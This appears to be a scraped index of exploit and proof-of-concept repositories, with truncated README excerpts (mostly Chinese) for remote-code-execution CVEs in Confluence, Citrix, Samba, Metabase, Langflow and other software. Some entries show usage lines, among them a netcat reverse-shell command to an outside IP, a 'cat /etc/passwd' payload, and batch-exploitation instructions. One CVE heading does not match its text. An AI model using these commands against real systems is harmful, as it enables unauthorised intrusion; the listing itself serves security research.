CVE-2025-6384

CVE-2025-6384: CrafterCMS 中的 Groovy 沙盒绕过 2 Crafter CMS 的 Crafter Studio 中存在动态管理代码资源控制不当的漏洞，允许经过身份验证的开发人员通过 Groovy 沙盒绕过执行操作系统命令。 供应商披露： 该漏洞的供应商披露和修复可以在此处找到。 要求： 此漏洞需要： 有效的用户凭据 概念验证： 更多详细信息和利用过程可以在该PDF中找到。...

CVE-2025-52385

CVE-2025-52385 软件 : Studio 3T v.2025.1.0 漏洞报告 : Studio 3T 远程命令执行 概述 Studio 3T 版本 2025.1.0 及更早版本中存在一个严重漏洞，允许远程攻击者通过利用 IntelliShell 组件中的 childprocess 模块构造恶意载荷执行任意代码。 详情 漏洞类型: 远程命令执行 受影响产品: Studio 3T，版本 console.logstdout; 或者，使用以下命令作为验证向量：curl http://site/$id 参考 Studio 3T 官方网站 Studio 3T GitHub 仓库...

Adobe-ColdFusion-8-RCE-CVE-2009-2265

Adobe ColdFusion 8 - 远程命令执行 RCE 漏洞利用 概述 该漏洞利用针对 Adobe ColdFusion 8 中的一个已知漏洞（CVE-2009-2265）。它通过上传恶意 JSP 载荷来建立反向 shell 连接，从而实现远程命令执行 RCE。 漏洞详情 CVE ：CVE-2009-2265 漏洞类型 ：Adobe ColdFusion 8 对文件上传处理不当。 受影响版本 ：Adobe ColdFusion 8。 影响 ：允许攻击者在服务器上执行任意命令。 功能特性 1. 自动使用 msfvenom 生成 JSP 载荷。 2. 通过 multipart POS...

CVE-2007-2447

ExploitDev 之旅 6 | CVE-2007-2447 | Samba 3.0.20 3.0.25rc 'Username' map script' 命令执行 原始漏洞利用：https://www.exploit-db.com/exploits/16320 漏洞利用名称： Samba username map script RCE CVE： 2007-2447 靶机： Lame - HackTheBox 描述 在低于 3.0.25 的 Samba 版本中存在一个漏洞，攻击者可以通过向 SMB 服务器发送畸形的请求作为用户名来执行系统命令。 工作原理 以下是使用 nohup...

CVE-2023-30258-RCE-POC

CVE-2023-30258-RCE-POC POC para CVE-2023-30258-RCE por n0o0b Uso usage: poc.py -h -u URL -c CMD example. python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help show this help message and exit -u URL, --url URL Target URL -c CMD, --cmd CMD Command to...

CVE-2019-19781

CVE-2019-19781 一个用于位于缓存之后的 Citrix 的 python3 CVE-2019-19781 利用程序。此版本接受 ''、'|'、'2&1' 等字符。 用法 python3 CVE-2019-19781.py citrix.example.org 'cat /etc/passwd' 待办事项 如果响应中包含 Age 响应头，则重复请求。 连续模式 -c. 检测模式（获取 /vpn/../vpns/cfg/smb.conf）...

Mass-CVE-2025-29306

FoxCMS 批量利用工具 CVE-2025-29306 专为安全研究人员设计的自动化工具，用于在多个目标上执行远程命令执行（RCE）测试。 🛡️ 安全说明 该程序使用 Bash 编写，并已通过 SHC （Shell 脚本编译器）进行加密/编译。源代码受到保护，以防止篡改和未经授权的修改。 📋 系统要求 为确保程序正常运行，请确保你的系统具备以下组件： curl python3 libxml2-utils 用于 xmllint 🚀 快速开始 1. 准备目标： 在与可执行文件相同的目录中创建一个名为 urls.txt 的文件。 注意：urls.txt 文件是必需的。 2. 将 URL 添加到...

cve-2018-11776-docker

CVE-2018-11776 Docker 容器及用 Go 编写的 POC 漏洞利用 你可以构建自己的镜像并运行： docker build . -t yourimagename docker container run -it --rm -p 8080:8080 yourimagename 或者你也可以直接拉取我为你精心制作的镜像： docker container run -it --rm -p 8080:8080 tuxotron/cve-2018-11776 漏洞应用运行在 8080 端口 要尝试这个漏洞利用，你需要在系统上安装 Go。语法如下：...

CVE-2018-6574

CVE-2018-6574 Golang go get 命令的远程命令执行漏洞利用。 介绍 当你使用 go get 获取一个包时，Go 的设计是构建并安装该包，而不运行其中的任何代码。其意图是，你可以安全地获取、构建甚至安装 Go 包，而完全不需要信任它们。理论上，这对 Go 工具链来说似乎是一项简单的任务，但实际上，这是一个真正的挑战。go get 在幕后做了很多工作，包括以受包配置严重影响的方式调用第三方工具，如 git 和 clang。确保这些调用的安全性是一场持久战，而 Go 尚未完全获胜。 当 cgo 启用时，“go get” 期间的构建步骤会调用宿主机的 C 编译器（gcc ...

CVE-2020-35713

描述 Belkin LINKSYS RE6500 设备在 1.0.012.001 版本之前，允许远程攻击者通过向 goform/setSysAdm 页面发送包含 shell 元字符的请求来执行任意命令或设置新密码。 使用方法 步骤 1：修改 cve-2020-35713.py 文件中的 IP 地址为目标地址 步骤 2：运行 cve-2020-35713.py 来更改密码 步骤 3：登录测试...

cve-2021-26084-confluence

这是一个快速粗糙的PoC，针对特定的Confluence实例进行了调整，因为现有的现成PoC没有一个能正常工作。 显然，它几乎完全基于 https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md 和 https://github.com/alt3kx/CVE-2021-26084PoC 的工作。 你需要在脚本中设置一些变量。 host 是你要检查的主机。 sessionid 是从登录Confluence时创建的JSESSIONID cookie中获取的会话ID。 spacekey 是你系统上的任意有效空间键 -...

CVE-2021-26084

CVE-2021-26084 confluence远程代码执行RCE Code By:Junsheng @橘子网络安全实验室 橘子网络安全实验室 https://0range.team/ 0x00 风险概述 本工具仅限授权安全测试使用,禁止未授权非法攻击站点 在线阅读《中华人民共和国网络安全法》 0x01 工具使用 批量RCE脚本请将URL导入url.txt 单站点RCE请使用下面的命令： python confluencerce.py -u url -c cmd或python confluencerce.py --url url --command cmd...

CVE-2019-15107

CVE-2019-15107 CVE-2019-15107测试程序 webmin的这个远程命令执行漏洞，大致是perl中qx/…/导致命令执行，利用需要一定的特殊条件，复现的时候随手写了个图形化的利用程序。 值得注意的是，user值要是用的是一个假的用户，使用真实的root测试不成功，只有在发送的用户参数的值不是已知的Linux用户的情况下，展示进入才会到修改/etc/shadow的地方，从而触发命令注入漏洞 反弹shell可能需要编码，这可能需要修改代码...

CVE-2022-43110

CVE-2022-43110 更多信息 Voltronic Viewpower/Pro 及其重命名/衍生版本 该UPS管理软件本应只允许经过正确身份验证和授权的管理员用户通过网络界面配置系统。 由于（CWE-425：直接请求'强制浏览'），未经授权、未经身份验证的远程攻击者可以更改系统，包括：更改网络界面管理员密码、查看/更改系统配置、枚举连接的UPS设备以及关闭连接的UPS设备。这还包括能够配置操作系统命令，这些命令应在系统检测到连接的UPS关机时运行。...

CVE-2022-40635

CVE-2022-40635：CrafterCMS 中的 Groovy 沙箱绕过 Crafter CMS 的 Crafter Studio 中存在对动态管理代码资源的控制不当漏洞，允许经过身份验证的开发人员通过 Groovy 沙箱绕过执行操作系统命令。 厂商披露： 该漏洞的厂商披露和修复方案可在此处查看。 要求： 此漏洞需要： 有效的用户凭据 概念验证： 更多详细信息和利用过程可在此 PDF 中查看。...

CVE-2023-38646

CVE-2023-38646 Metabase 预认证远程代码执行 2023年11月26日 Metabase 开源版 0.46.6.1 之前版本以及 Metabase 企业版 1.46.6.1 之前版本允许攻击者以服务器权限级别在服务器上执行任意命令。利用该漏洞无需身份认证。其他已修复的版本包括 0.45.4.1、1.45.4.1、0.44.7.1、1.44.7.1、0.43.7.2 和 1.43.7.2。 该漏洞存在于应用程序暴露的 setup-token 中，该 token 可用于 api/setup/validate 接口验证数据库。未授权用户可以创建恶意代码并执行任意命令。 免责...

Langflow-CVE-2025-3248-Multi-target

⚠️ Langflow RCE 漏洞利用扫描器 CVE-2025-3248 该基于 Python 的扫描器可通过 CVE-2025-3248 自动检测 Langflow 实例中的未认证远程代码执行（RCE）漏洞。它使用一个概念验证（PoC）载荷，滥用 /api/v1/validate/code 端点来执行任意 shell 命令。 🚨 CVE 详情 CVE ：CVE-2025-3248 影响 ：未认证远程代码执行 组件 ：Langflow API /api/v1/validate/code 利用方式 ：通过动态代码执行进行注入 风险 ：严重 🛠 功能特性 🔎 从文件批量扫描多个目标 ⚡️...

CVE-2026-26119

CVE-2026-26119 WAC RCE - CVE-2026-26119 通过 WinREST/PowerShell invokeCommand 实现 Windows Admin Center 认证后的远程代码执行（RCE）。 用法： python3 wacrce.py "" WACPASS= python3 wacrce.py 环境变量： WACBASE - override target base URL default below WACPASS - password, used if not passed positionally...

CVE-2023-24706

CVE-2022-24706 Apache CouchDB vulnerabilidad de ejecución remota de comandos poc...

CVE-2023-34960

ChamiloCVE-2023-34960-EXP 帮助： usage: CVE-2023-34960.py -h -u URL -f FILE -c COMMAND options: -h, --help show this help message and exit -u URL, --url URL 完整URL地址http/https -f FILE, --file FILE 批量URL文件 -c COMMAND, --command COMMAND 执行命令,可选 示例： 单个url python3 CVE-2023-34960.py -u https://xxxxxxx 批量扫...